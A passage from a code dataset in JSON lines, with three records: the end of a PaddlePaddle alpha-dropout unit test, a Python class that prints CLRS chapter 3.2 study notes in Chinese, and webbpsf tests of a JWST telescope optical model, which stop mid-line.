 def test_static(self):\n        for place in self.places:\n            self.check_static_result(place=place)\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                in_np = np.random.random([40, 40]).astype(\"float32\")\n                res_np = in_np\n                res_np3 = np.zeros_like(in_np)\n                input = fluid.dygraph.to_variable(in_np)\n\n                res1 = paddle.nn.functional.alpha_dropout(x=input, p=0.)\n                res2 = paddle.nn.functional.alpha_dropout(\n                    x=input, p=0., training=False)\n                res3 = paddle.nn.functional.alpha_dropout(x=input, p=1.)\n\n            res_list = [res1, res2]\n            for res in res_list:\n                self.assertTrue(np.allclose(res.numpy(), res_np))\n            self.assertTrue(np.allclose(res3.numpy(), res_np3))\n\n\nclass TestAlphaDropoutFAPIError(unittest.TestCase):\n    def test_errors(self):\n        with program_guard(Program(), Program()):\n\n            def test_Variable():\n                # the input of dropout must be Variable.\n                x1 = fluid.create_lod_tensor(\n                    np.array([-1, 3, 5, 5]), [[1, 1, 1, 1]], fluid.CPUPlace())\n                paddle.nn.functional.alpha_dropout(x1, p=0.5)\n\n            self.assertRaises(TypeError, test_Variable)\n\n            def test_dtype():\n                # the input dtype of dropout must be float32 or float64\n                xr = fluid.data(name='xr', shape=[3, 4, 5, 6], dtype=\"int32\")\n                paddle.nn.functional.alpha_dropout(xr)\n\n            self.assertRaises(TypeError, test_dtype)\n\n            def test_pdtype():\n                # p should be int or float\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.alpha_dropout(x2, p='0.5')\n\n            self.assertRaises(TypeError, test_pdtype)\n\n            def test_pvalue():\n                # p should be 0.<=p<=1.\n                x2 = fluid.data(name='x2', shape=[3, 4, 5, 6], dtype=\"float32\")\n                paddle.nn.functional.alpha_dropout(x2, p=1.2)\n\n            self.assertRaises(ValueError, test_pvalue)\n\n\nclass TestAlphaDropoutCAPI(unittest.TestCase):\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace()]\n        if core.is_compiled_with_cuda():\n            self.places.append(fluid.CUDAPlace(0))\n\n    def test_dygraph(self):\n        for place in self.places:\n            with fluid.dygraph.guard(place):\n                input_np = np.random.random([40, 40]).astype(\"float32\")\n                result_np = input_np\n                input = fluid.dygraph.to_variable(input_np)\n                m = paddle.nn.AlphaDropout(p=0.)\n                m.eval()\n                result = m(input)\n                self.assertTrue(np.allclose(result.numpy(), result_np))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "ba2abd72500788c4bbacf3c12d4ba711da1b01f3", "size": 28607, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/test_dropout_op.py", "max_stars_repo_name": "TingquanGao/Paddle", "max_stars_repo_head_hexsha": "9b1015d90b4d498ab58df7cff2c3ed27863ce970", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2021-05-12T07:20:32.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-04T08:21:56.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/test_dropout_op.py", "max_issues_repo_name": "TingquanGao/Paddle", "max_issues_repo_head_hexsha": "9b1015d90b4d498ab58df7cff2c3ed27863ce970", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-01-25T09:40:19.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-25T09:40:19.000Z", "max_forks_repo_path": "python/paddle/fluid/tests/unittests/test_dropout_op.py", "max_forks_repo_name": "TingquanGao/Paddle", "max_forks_repo_head_hexsha": "9b1015d90b4d498ab58df7cff2c3ed27863ce970", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 18, "max_forks_repo_forks_event_min_datetime": "2021-05-19T08:01:49.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-11T03:11:32.000Z", "avg_line_length": 36.7699228792, "max_line_length": 82, "alphanum_fraction": 0.5431537736, "include": true, "reason": "import numpy", "num_tokens": 6599, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015862011228, "lm_q2_score": 0.10970576951176296, "lm_q1q2_score": 0.05100238626143338}}
{"text": "\n# python src/chapter3/chapter3_2.py\n# python3 src/chapter3/chapter3_2.py\nfrom __future__ import division, absolute_import, print_function\nimport sys\nimport math\n\nfrom copy import copy\nfrom copy import deepcopy\n\nimport numpy as np\nfrom numpy import arange\n\nfrom matplotlib.pyplot import plot\nfrom matplotlib.pyplot import figure\nfrom matplotlib.pyplot import show\n\n\nclass Chapter3_2:\n    '''\n    CLRS \u7b2c\u4e09\u7ae0 3.2 \u7b97\u6cd5\u51fd\u6570\u548c\u7b14\u8bb0\n    '''\n    def note(self):\n        '''\n        Summary\n        =\n        Print chapter3.2 note\n\n        Example\n        =\n        >>> Chapter3_2().note()\n        '''\n        print('3.2 \u6807\u51c6\u8bb0\u53f7\u548c\u5e38\u7528\u51fd\u6570')\n        print('\u5355\u8c03\u6027\uff1a\u4e00\u4e2a\u51fd\u6570f(n)\u662f\u5355\u8c03\u9012\u589e\u7684\uff0c\u82e5m<=n,\u5219\u6709f(m)<=f(n)\uff0c\u53cd\u4e4b\u5355\u8c03\u9012\u51cf\uff0c\u5c06\u5c0f\u4e8e\u7b49\u4e8e\u53f7\u6362\u6210\u5c0f\u4e8e\u53f7\uff0c\u5373\u53d8\u4e3a\u4e25\u683c\u4e0d\u7b49\u5f0f\uff0c\u5219\u51fd\u6570\u662f\u4e25\u683c\u5355\u8c03\u9012\u589e\u7684')\n        print('\u4e0b\u53d6\u6574(floor)\u548c\u4e0a\u53d6\u6574(ceiling)')\n        print('\u53d6\u6a21\u8fd0\u7b97(modular arithmetic)')\n        print('\u591a\u9879\u5f0f\u5b9a\u4e49\u53ca\u5176\u6027\u8d28')\n        print('\u6307\u6570\u5f0f\u5b9a\u4e49\u53ca\u5176\u6027\u8d28')\n        print('\u4efb\u4f55\u5e95\u5927\u4e8e1\u7684\u6307\u6570\u51fd\u6570\u6bd4\u4efb\u4f55\u591a\u9879\u5f0f\u51fd\u6570\u589e\u957f\u5f97\u66f4\u5feb')\n        print('\u5bf9\u6570\u5b9a\u4e49\u53ca\u5176\u6027\u8d28')\n        print('\u9636\u4e58\u5b9a\u4e49\u53ca\u5176\u6027\u8d28')\n        print('\u8ba1\u7b97\u673a\u5de5\u4f5c\u8005\u5e38\u5e38\u8ba4\u4e3a\u5bf9\u6570\u7684\u5e95\u53d62\u6700\u81ea\u7136\uff0c\u56e0\u4e3a\u5f88\u591a\u7b97\u6cd5\u548c\u6570\u636e\u7ed3\u6784\u90fd\u6d89\u53ca\u5230\u5bf9\u95ee\u9898\u8fdb\u884c\u4e8c\u5206')\n        print('\u4efb\u610f\u6b63\u7684\u591a\u9879\u5f0f\u51fd\u6570\u90fd\u6bd4\u591a\u9879\u5bf9\u6570\u51fd\u6570\u589e\u957f\u5f97\u5feb')\n        print('\u65af\u7279\u6797\u8fd1\u4f3c\u516c\u5f0f\uff1an!=sqrt(2*pi*n)*(n/e)^n*(1+\u0398(1/n))')\n        print('\u9636\u4e58\u51fd\u6570\u7684\u4e00\u4e2a\u66f4\u7d27\u786e\u7684\u4e0a\u754c\u548c\u4e0b\u754c\uff1a')\n        print('n!=o(n^n) n!=\u03c9(2^n) lg(n!)=\u0398(nlgn)')\n        print('\u51fd\u6570\u8fed\u4ee3\u7684\u5b9a\u4e49\u548c\u6027\u8d28')\n        print('\u591a\u91cd\u5bf9\u6570\u51fd\u6570\uff1a\u7528\u8bb0\u53f7lg * n(\u8bfb\u4f5cn\u7684log\u661f)\u6765\u8868\u793a\u591a\u91cd\u5bf9\u6570\uff0c\u5b9a\u4e49\u4e3alg * n=min(i>=0;lg^(i)n<=1)')\n        print('\u591a\u91cd\u51fd\u6570\u662f\u4e00\u79cd\u589e\u957f\u5f88\u6162\u7684\u51fd\u6570')\n        print('lg * 2 = 1; lg * 4 = 2; lg * 16 = 3; lg * 65536 = 4; lg * 2^65536 = 5')\n        print('\u5b87\u5b99\u4e2d\u53ef\u4ee5\u89c2\u5bdf\u5230\u7684\u539f\u5b50\u6570\u76ee\u4f30\u8ba1\u7ea6\u670910^80\uff0c\u8fdc\u8fdc\u5c0f\u4e8e2^65536,\u56e0\u6b64\u5f88\u5c11\u4f1a\u9047\u5230\u4e00\u4e2a\u4f7flg * n > 5\u7684\u4e00\u4e2an\u8f93\u5165\u89c4\u6a21')\n        print('\u6590\u6ce2\u90a3\u5951\u6570\u5217\uff1aF0 = 0 F1 = 1 F(i) = F(i-1) + F(i-2),\u4ea7\u751f\u7684\u5e8f\u5217\u4e3a0,1,1,2,3,5,8,13,21,34,55,\u2026\u2026')\n        print('\u6590\u6ce2\u90a3\u5951\u6570\u5217\u548c\u9ec4\u91d1\u5206\u5272\u7387\u03c6\u4ee5\u53ca\u5171\u8f6d\u6709\u5173\u7cfb')\n        print('\u03c6=((1+sqrt(5))/2=1.61803 \u548c\u5b83\u7684\u5171\u8f6d(1-sqrt(5))/2=-0.61803)')\n        print('\u7ec3\u4e60\u9898\u548c\u601d\u8003\u9898\u7565')\n        # python src/chapter3/chapter3_2.py\n        # python3 src/chapter3/chapter3_2.py\n        return self\n        \nif __name__ == '__main__':\n    print('Run main : single chapter three!')\n    Chapter3_2().note()\nelse:\n    pass\n", "meta": {"hexsha": "35f9f03fb30ac52294b96b2eb0adf1416a226747", "size": 1958, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/chapter3/chapter3_2.py", "max_stars_repo_name": "Peefy/CLRS_dugu_code-master", "max_stars_repo_head_hexsha": "98f00e75e1b0ebc13a7affb2604bec8501692a19", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2018-01-31T03:08:50.000Z", "max_stars_repo_stars_event_max_datetime": "2018-04-25T12:57:01.000Z", "max_issues_repo_path": "src/chapter3/chapter3_2.py", "max_issues_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_issues_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/chapter3/chapter3_2.py", "max_forks_repo_name": "HideLakitu/IntroductionToAlgorithm.Python", "max_forks_repo_head_hexsha": "33662f46dc346203b220d7481d1a4439feda05d2", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-03-03T04:49:53.000Z", "max_forks_repo_forks_event_max_datetime": "2020-07-13T10:18:58.000Z", "avg_line_length": 30.1230769231, "max_line_length": 95, "alphanum_fraction": 0.6036772217, "include": true, "reason": "import numpy,from numpy", "num_tokens": 913, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.10970577242256814, "lm_q1q2_score": 0.05100238598798327}}
{"text": "\"\"\"\nTests for opds.py\n\"\"\"\nimport os\n\nfrom astropy.io import fits\nimport astropy.units as u\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pysiaf\nimport pytest\nimport webbpsf\n\ndef test_enable_adjustable_ote():\n    \"\"\" Some basic tests of the OTE LOM\"\"\"\n    nc = webbpsf.NIRCam()\n    nc, ote = webbpsf.enable_adjustable_ote(nc)\n\n    # did this produce an OTE object?\n    assert isinstance(ote, webbpsf.opds.OTE_Linear_Model_WSS), \"Didn't get an OTE object back\"\n\n    # can we compute the rms?\n    rms = ote.rms()\n\n    # and can we move a mirror?\n\n    ote.move_seg_local('B1', piston=10, clocking=200)\n\n    assert ote.segment_state[6, 2] == 10, \"Couldn't piston\"\n    assert ote.segment_state[6, 3] == 200, \"Couldn't clock\"\n\n    # did that misalignment make things much worse?\n\n    assert ote.rms() > rms*10, \"Huge piston offset didn't make the WFE much worse\"\n\n\n# The following \"truth\" values\" are based off the global focus and A1 Hexike coeffs\n#   that will be returned for some time after a maximum slew using the time\n#   constants and amplitudes established by the model in Fall 2018 (last updates\n#   to otelm/thermal_OPD_fitting_parameters_9H_um.fits)\n# Random scaling factor used below\nSCALING_FACTOR = 0.5\n# Coefficients for SM based on 1 day after maximum slew, first with no scaling\n#   factor, and second with a scaling factor as specified above, all predicted with\n#   above file. The below truth values are in units of METERS\nGLOBAL_FOCUS = [-1.8251043541410904e-08]\nGLOBAL_FOCUS2 = [GLOBAL_FOCUS[0] * SCALING_FACTOR]\n# Coeffcients for A1 based on 1 day after maximum slew with no scaling predicted\n#   using above file\nCOEFFS_A1 = np.array([-3.52633363e-09, -2.90050902e-09, 1.25432196e-09, -7.43319098e-12,\n                      -5.82462948e-11, -1.27115922e-10, -1.91541104e-12, 3.64760396e-11,\n                      4.97176630e-13])\n# Coeffcients for A4 based on 5 hours after maximum slew with no scaling,\n#   start_angle=5. and end_angle=15., predicted using above file\n# Updated on 9/18/2020\nCOEFFS_A4 = np.array([ 3.89238932e-10,  1.80333109e-10,  1.18632814e-10,  4.42108030e-13,\n                      -3.22871622e-11,  6.93619028e-12, -1.08202005e-13,  1.15018494e-12,\n                      5.25664635e-14])\n# Default slew angles\nSTART_ANGLE = -5.\nEND_ANGLE = 45.\n\n# Parameters to test the thermal model\ntm_parameters = ([1 * u.day, 'SM', None, START_ANGLE, END_ANGLE, GLOBAL_FOCUS],\n                 [1 * u.day, 'SM', SCALING_FACTOR, START_ANGLE, END_ANGLE, GLOBAL_FOCUS2],\n                 [24, 'SM', None, START_ANGLE, END_ANGLE, GLOBAL_FOCUS],\n                 [0.0 * u.day, 'SM', None, START_ANGLE, END_ANGLE, [0.0]],\n                 [1 * u.day, 'A1', None, START_ANGLE, END_ANGLE, COEFFS_A1],\n                 [0.0 * u.day, 'A1', None, START_ANGLE, END_ANGLE, np.zeros(9)],\n                 [1.0 * u.day, 'D1', None, START_ANGLE, END_ANGLE, [0.0]],\n                 [5 * u.hour, 'A4', None, 5., 15., COEFFS_A4])\n@pytest.mark.parametrize('time, seg, scaling, start_angle, end_angle, coeff_truth', tm_parameters)\ndef test_get_thermal_slew_coeffs(time, seg, scaling, start_angle, end_angle,\n                                 coeff_truth):\n    \"\"\" Test that the OTE Thermal model is outputting the correct values\n    These tests will go through the following (in order as listed in\n    thermal_model_parameters):\n\n     1. Test for SM with defaults\n     2. Test for SM with a scaling factor\n     3. Test for SM if no units specified for delta_time\n     4. Test for SM with no delta_time\n     5. Test for PM segment with defaults\n     6. Test for PM segment with no delta_time\n     7. Test for PM segment that is not in list of segnames\n     8. Test for PM segment with start and end angles\n    \"\"\"\n    delta_time = time\n    # Create the thermal model\n    otelm = webbpsf.opds.OTE_Linear_Model_WSS()\n    otelm.thermal_slew(delta_time, start_angle, end_angle, scaling, case='EOL')\n    coeffs = otelm._get_thermal_slew_coeffs(segid=seg)\n    # Pull out coefficients\n    if isinstance(coeffs, float):\n        coeffs = [coeffs]\n    # Assert the coefficents\n    for coeff, truth in zip(coeffs, coeff_truth):\n        #assert np.round(coeff, decimals=4) == np.round(truth, decimals=4)\n        coeff /= 1e-9 # Convert to nm so we are not dealing with such small numbers\n        truth /= 1e-9 # Convert to nm so we are not dealing with such small numbers\n        assert np.isclose(coeff, truth), \"Coeffs do not match expected value after day slew.\"\n\n\ndef test_thermal_slew_partial_angle():\n    \"\"\" total slew shoudl give same total amplitude if broken into smaller jumps\"\"\"\n\n    otelm = webbpsf.opds.OTE_Linear_Model_WSS()\n\n    start_angle = -5\n    mid_angle = 20\n    end_angle = 45\n\n    delta_time = 1 * u.hr\n\n    # One large slew\n    otelm.thermal_slew(delta_time, start_angle, end_angle, case='EOL')\n    cf_full = np.array([otelm._get_thermal_slew_coeffs(segid=seg) for seg in otelm.segnames[0:18]])\n\n    # Small slew 1\n    otelm.thermal_slew(delta_time, start_angle, mid_angle, case='EOL')\n    cf_all1 = np.array([otelm._get_thermal_slew_coeffs(segid=seg) for seg in otelm.segnames[0:18]])\n\n    # Small slew 2\n    otelm.thermal_slew(delta_time, mid_angle, end_angle, case='EOL')\n    cf_all2 = np.array([otelm._get_thermal_slew_coeffs(segid=seg) for seg in otelm.segnames[0:18]])\n    cf_tot = cf_all1 + cf_all2\n\n    # Multiply by 1E9 so we're not dealing with small numbers\n    assert np.allclose(1e9*cf_full, 1e9*cf_tot), \"should get same total coefficients for one big slew or if broken into two parts\"\n\n\n\ndef test_thermal_slew_update_opd():\n    ''' Test that running webbpsf.opds.OTE_Linear_Model_WSS.thermal_slew() will\n        give the expected output\n\n        '''\n    otelm = webbpsf.opds.OTE_Linear_Model_WSS()\n    otelm.thermal_slew(delta_time=1.0*u.day, case='EOL')\n\n    # the exact value expected is affected by which version of the linear model is used.\n    if otelm._segment_masks_version < 3:\n        # rev V pupil segment mask file, labeled as VERSION=2 in jwpupil_segments.fits\n        expected_max = 41.3338  # nanometers, expected value for peak.\n                                # value derived by kjbrooks based on thermal model coefficients\n        expected_rms = 11.13    # nm\n                                # value derived by mperrin based on evaluation of opd map in this case\n    else:\n        # rev W pupil segment mask file, labeled as VERSION=3 in jwpupil_segments.fits\n        # Values here are by mperrin based on evaluation of the same exact linear model code as above\n        # changing only the data file $WEBBPSF_DATA/jwpupil_segments.fits to the newer version\n        expected_max = 40.7763  # nanometers, expected value for peak\n        expected_rms = 11.24    # nm\n    assert np.isclose(np.max(otelm.opd)/1e-9, expected_max, rtol=1e-3), \"OPD max does not match expected value after 1 day slew.\"\n    assert np.isclose(otelm.rms(), expected_rms, rtol=1e-3), \"OPD rms does not match expected value after 1 day slew.\"\n\n\ndef test_thermal_slew_reproducibility():\n    \"\"\" If you call the thermal slew model multiple times, the OPD values should depend\n    only on the LAST set of function call parameters. Not on the full time history.\n\n    See issue #338\n    \"\"\"\n    ote = webbpsf.opds.OTE_Linear_Model_WSS()\n\n    ote.thermal_slew(12*u.hour, start_angle=-5, end_angle=45, case='EOL')\n    opd1 = ote.opd.copy()\n\n    ote.thermal_slew(24*u.hour, start_angle=-5, end_angle=45, case='EOL')\n    opd2 = ote.opd.copy()\n\n    ote.thermal_slew(12*u.hour, start_angle=-5, end_angle=45, case='EOL')\n    opd3 = ote.opd.copy()\n\n    assert np.allclose(opd1, opd2)==False, \"OPDs expected to differ didn't\"\n    assert np.allclose(opd1, opd3), \"OPDs expected to match didn't\"\n\n\ndef test_update_opd():\n    ''' The start of what should be many tests of this function'''\n\n    # Test the very basics\n    ote = webbpsf.opds.OTE_Linear_Model_WSS()\n    ote.update_opd()\n    assert np.max(ote.opd) == 0.0\n\n    # can we add a deterministic frill drift?\n    requested_wfe = 5\n    ote.apply_frill_drift(requested_wfe)\n    assert np.allclose(ote.rms(), requested_wfe, rtol=0.1), \"Frill WFE amplitude not as expected\"\n    ote.apply_frill_drift(0.0)\n\n    # can we add a deterministic IEC drift?\n    requested_wfe = 15\n    ote.apply_iec_drift(requested_wfe)\n    assert np.allclose(ote.rms(), requested_wfe, rtol=0.1), \"IEC WFE amplitude not as expected\"\n\n    # Todo test random drifts\n\n\ndef test_move_sur(plot=False):\n    \"\"\" Test we can move mirrors using Segment Update Requests\n    \"\"\"\n    import webbpsf\n    import os\n    import glob\n    surdir = os.path.join(webbpsf.__path__[0], 'tests', 'surs')\n    surs = glob.glob(surdir+'/*sur.xml')\n\n    nrc = webbpsf.NIRCam()\n    nrc.filter='F212N'\n    nrc, ote = webbpsf.enable_adjustable_ote(nrc)\n    ote.zero(zero_original=True)\n\n    for s in surs:\n        print(\"Testing \"+s)\n        ote.reset()\n        ote.move_sur(s)\n        # the coarse phasing SUR is a no-op after 3 groups; all others have some effect\n        if 'coarse_phasing' not in s:\n            assert not np.allclose(ote.segment_state, 0), \"Expected some segments to be moved\"\n\n        ote.move_sur(s, reverse=True)\n        assert np.allclose(ote.segment_state, 0), \"Reversing moves didn't bring us back to zero\"\n\n        \n    # Test every DOF on A1-1 and SM and check the OTE state updated accordingly\n    s = glob.glob(surdir+'/example_alldof_A1-SM_sur.xml')[0]\n    print(\"Testing \"+s)\n    ote.reset()\n    ote.move_sur(s)\n    assert np.allclose(ote.segment_state[0],  [1, 2, 3, 4, 5, 6])\n    assert np.allclose(ote.segment_state[-1], [1, 2, 3, 4, 5, 0])\n    \n    \n    # Test moving one at a time. This test relies on specifics of what's in the image stacking SUR.\n    s = glob.glob(surdir+'/example_image_stacking*sur.xml')[0]\n    print(\"Testing moving one group at a time with \"+s)\n    ote.reset()\n    sur = webbpsf.surs.SUR(s)\n\n    ngroups = len(sur.groups)\n    oldstate = ote.segment_state.copy()\n\n    for igrp in range(1, ngroups+1):\n        print(\"Group {} should move segment {}\".format(igrp, 2*igrp+6))\n        ote.move_sur(s, group=igrp)\n\n        movedsegs = np.abs((ote.segment_state - oldstate).sum(axis=1))\n        assert (movedsegs!=0).sum()==1, \"Only expected one segment to move\"\n        whichmoved = np.argmax(movedsegs)+1\n        print (\"Moved segment\", whichmoved)\n        assert whichmoved == 2*igrp+6, \"An unexpected segment moved\"\n        oldstate = ote.segment_state.copy()\n        if plot:\n            psf = nrc.calc_psf(fov_pixels=256, add_distortion=False)\n            plt.figure()\n            ote.display_opd(title=\"After Group {}\".format(igrp))\n            plt.figure()\n            webbpsf.display_psf(psf, ext=1, title=\"After Group {}\".format(igrp))\n\n\ndef test_single_seg_psf(segmentid=1):\n    \"\"\"Test calculation of a single segment PSF, including options to remove piston/tip/tilt as used by MIRAGE\n\n    \"\"\"\n\n    nrc = webbpsf.NIRCam()\n    nrc.filter = 'F212N'\n    nrc, ote = webbpsf.enable_adjustable_ote(nrc)\n    ote.zero(zero_original=True)\n\n    segname = webbpsf.constants.SEGNAMES_WSS_ORDER[segmentid-1][0:2]\n\n    ote.move_seg_local(segname, xtilt=1, piston=-1)\n\n    pupil = webbpsf.webbpsf_core.one_segment_pupil(segmentid)\n    ote.amplitude = pupil[0].data\n\n\n    psf = nrc.calc_psf(nlambda=1)\n\n    ote.remove_piston = True\n    ote.update_opd()\n    psf_rm_piston = nrc.calc_psf(nlambda=1)\n    assert np.allclose(psf[0].data, psf_rm_piston[0].data), \"Piston removal should not affect the overall PSF\"\n\n    assert np.allclose( webbpsf.measure_centroid(psf), webbpsf.measure_centroid(psf_rm_piston)), \"centroid should not shift\"\n\n    ote.remove_piston_tip_tilt = True\n    ote.update_opd()\n    psf_rm_ptt = nrc.calc_psf(nlambda=1)\n    assert not np.allclose(psf[0].data, psf_rm_ptt[0].data), \"Piston/Tip/Tip removal should shift the overall PSF\"\n    assert np.abs(webbpsf.measure_centroid(psf)[0] - webbpsf.measure_centroid(psf_rm_ptt)[0]) > 40, \"centroid should shift susbtantially with/without tip/tilt removal\"\n\n\ndef test_get_zernike_coeffs_from_smif():\n    \"\"\" \n    Test that the OTE SM Influence function returns expected Hexike coefficients.\n    \"\"\"\n    \n    # Create an instance of the OTE linear model\n    otelm = webbpsf.opds.OTE_Linear_Model_WSS()\n\n    # Case 1: otelm.v2v3 is None, should return None\n    otelm._apply_sm_field_dependence_model()\n    assert ( otelm._apply_sm_field_dependence_model() is None)\n\n    # Case 2: check coefficient at control point; should return zeros.\n    assert( np.allclose(otelm._get_zernike_coeffs_from_smif(0., 0.), np.asarray([0.]*9) ))\n\n    # Case 3: dx=1, dy=1, SM Poses all equal to 1 um\n    telfer_zern = [-0.055279643, -0.037571947, -0.80840763, -0.035680581, -0.0036747300, 0.0033910640] # Taken from Telfer's tool\n    # Convert Telfer's Zernikes to Hexikes:\n    hexikes = [-telfer_zern[1], \n               2.*telfer_zern[0] - (60984./69531.)*telfer_zern[5], \n               telfer_zern[2], \n               (33./25)*telfer_zern[3], \n               (-33./25)*telfer_zern[4], \n               (1386./860.)*telfer_zern[5]]\n\n    otelm.segment_state[-1, :] = 1.0\n    \n    assert (np.allclose(otelm._get_zernike_coeffs_from_smif(1.0, 1.0)[3:], hexikes, rtol=1e-3))\n\n    # Case 4: test at MIRIM_FP1MIMF field point\n    otelm.ote_ctrl_pt = pysiaf.Siaf('NIRCAM')['NRCA3_FP1'].reference_point('tel') *u.arcsec\n    otelm.v2v3 = pysiaf.Siaf('MIRI')['MIRIM_FP1MIMF'].reference_point('tel') *u.arcsec\n    telfer_zern_mirim_fp1mimf = np.asarray( [-0.25066019, 0.22840080, -0.53545999, -0.024227464, -0.0025191352, 0.00050082553]) # Taken from Telfer's tool\n    # Convert Telfer's Zernikes to Hexikes:\n    hexikes = hexikes = [-telfer_zern_mirim_fp1mimf[1], \n                         2.*telfer_zern_mirim_fp1mimf[0] - (60984./69531.)*telfer_zern_mirim_fp1mimf[5], \n                         telfer_zern_mirim_fp1mimf[2], \n                         (33./25)*telfer_zern_mirim_fp1mimf[3], \n                         (-33./25)*telfer_zern_mirim_fp1mimf[4], \n                         (1386./860.)*telfer_zern_mirim_fp1mimf[5]]\n    \n    otelm.segment_state[-1, :] = [300., 400., 100., 200., 5., 0.]\n    dx =-(otelm.v2v3[0] - otelm.ote_ctrl_pt[0]).to(u.rad).value \n    dy = (otelm.v2v3[1] - otelm.ote_ctrl_pt[1]).to(u.rad).value\n\n    assert (np.allclose(otelm._get_zernike_coeffs_from_smif(dx, dy)[3:], hexikes, rtol=1e-3))\n    \ndef test_segment_tilt_signs(fov_pix = 50, plot=False, npix=1024):\n    \"\"\"Test that segments move in the direction expected when tilted.\n\n    The local coordinate systems are non-obvious, to say the least. This verifies\n    sign conventions and coordinates are consistent in the linear optical model and\n    optical propagation code.\n\n    \"\"\"\n\n    if plot:\n        fig, axs = plt.subplots(3, 5, figsize=(14,9))#, sharex = True, sharey = True)\n\n    nrc = webbpsf.NIRCam()\n\n    ote = webbpsf.opds.OTE_Linear_Model_WSS(npix=npix)\n    nrc.include_si_wfe = False # not relevant for this test\n\n    tilt = 1.0\n\n\t# We im for relatively minimalist PSF calcs, to reduce test runtime\n    psf_kwargs = {'monochromatic': 2e-6,\n                  'fov_pixels': fov_pix,\n                  'oversample': 1,\n                  'add_distortion': False}\n\n    # Which way are things expected to move?\n    #\n    # A1:  +X rotation -> -Y pixels (DMS), +Y rotation -> -X pixels\n    # B1: +X rotation -> +Y pixels, +Y rotation -> +X pixels\n    # C1: +X rotation -> +X/+Y pixels, +Y rotation -> -Y/+X pixels\n    # (for C1, A/B means A is the sqrt(3)/2 component, B is the 1/2 component)\n    #\n    # The above derived from Code V models by R. Telfer, subsequently cross checked by Perrin\n\n    for i, iseg in enumerate(['A1', 'B1', 'C1']):\n        ote.zero()\n\n        pupil = webbpsf.webbpsf_core.one_segment_pupil(iseg, npix=npix)\n\n        ote.amplitude = pupil[0].data\n        nrc.pupil = ote\n\n        # CENTERED PSF:\n        psf = nrc.calc_psf(**psf_kwargs)\n        cen_ref = webbpsf.measure_centroid(psf, boxsize=10, threshold=1)\n\n        ote.move_seg_local(iseg, xtilt=tilt)\n        # XTILT PSF:\n        psfx = nrc.calc_psf(**psf_kwargs)\n        cen_xtilt = webbpsf.measure_centroid(psfx, boxsize=10, threshold=1)\n\n        if iseg.startswith(\"A\"):\n            assert cen_xtilt[0] < cen_ref[0], \"Expected A1:  +X rotation -> -Y pixels (DMS coords)\"\n            assert np.isclose(cen_xtilt[1], cen_ref[1], atol=1), \"Expected A1:  +X rotation -> no change in X\"\n        elif iseg.startswith(\"B\"):\n            assert cen_xtilt[0] > cen_ref[0], \"Expected B1: +X rotation -> +Y pixels (DMS coords)\"\n            assert np.isclose(cen_xtilt[1], cen_ref[1], atol=1), \"Expected B1:  +X rotation -> no change in Y\"\n        elif iseg.startswith(\"C\"):\n            assert cen_xtilt[0] > cen_ref[0], \"Expected C1: +X rotation -> +X/+Y pixels\"\n            assert cen_xtilt[1] > cen_ref[1], \"Expected C1: +X rotation -> +X/+Y pixels\"\n\n        if plot:\n            axs[i, 0].imshow(psf[0].data, norm=matplotlib.colors.LogNorm(vmax=1e-2, vmin=1e-5), origin=\"lower\")\n            axs[i, 0].set_title(iseg+\": centered\")\n            axs[i, 0].axhline(y=fov_pix/2)\n            axs[i, 0].axvline(x=fov_pix/2)\n            # PLOT RESULTING OPD:\n            im = axs[i, 1].imshow(ote.opd, vmin=-4e-6, vmax=4e-6, origin=\"lower\")\n            axs[i, 1].set_title(\"OPD (yellow +)\")\n            axs[i, 2].imshow(psfx[0].data, norm=matplotlib.colors.LogNorm(vmax=1e-2, vmin=1e-5), origin=\"lower\")\n            axs[i, 2].set_title(iseg+\": xtilt {} um\".format(tilt))\n            axs[i, 2].axhline(y=fov_pix/2)\n            axs[i, 2].axvline(x=fov_pix/2)\n\n\n        ote.zero()\n        ote.move_seg_local(iseg, ytilt=tilt)\n        # YTILT PSF:\n        psfy = nrc.calc_psf(**psf_kwargs)\n        cen_ytilt = webbpsf.measure_centroid(psfy, boxsize=10, threshold=1)\n\n        if iseg.startswith(\"A\"):\n            assert cen_ytilt[1] < cen_ref[1], \"Expected A1:  +Y rotation -> -X pixels (DMS coords)\"\n            assert np.isclose(cen_ytilt[0], cen_ref[0], atol=1), \"Expected A1:  +Y rotation -> no change in Y\"\n        elif iseg.startswith(\"B\"):\n            assert cen_ytilt[0] > cen_ref[0], \"Expected B1: +Y rotation -> +X pixels(DMS coords)\"\n            assert np.isclose(cen_ytilt[0], cen_ref[0], atol=1), \"Expected B1:  +Y rotation -> no change in Y\"\n        elif iseg.startswith(\"C\"):\n            assert cen_ytilt[0] < cen_ref[0], \"Expected C1: +Y rotation -> -Y/+X pixels\"\n            assert cen_ytilt[1] > cen_ref[1], \"Expected C1: +Y rotation -> -Y/+X pixels\"\n\n        # PLOT RESULTING OPD:\n        if plot:\n            im = axs[i, 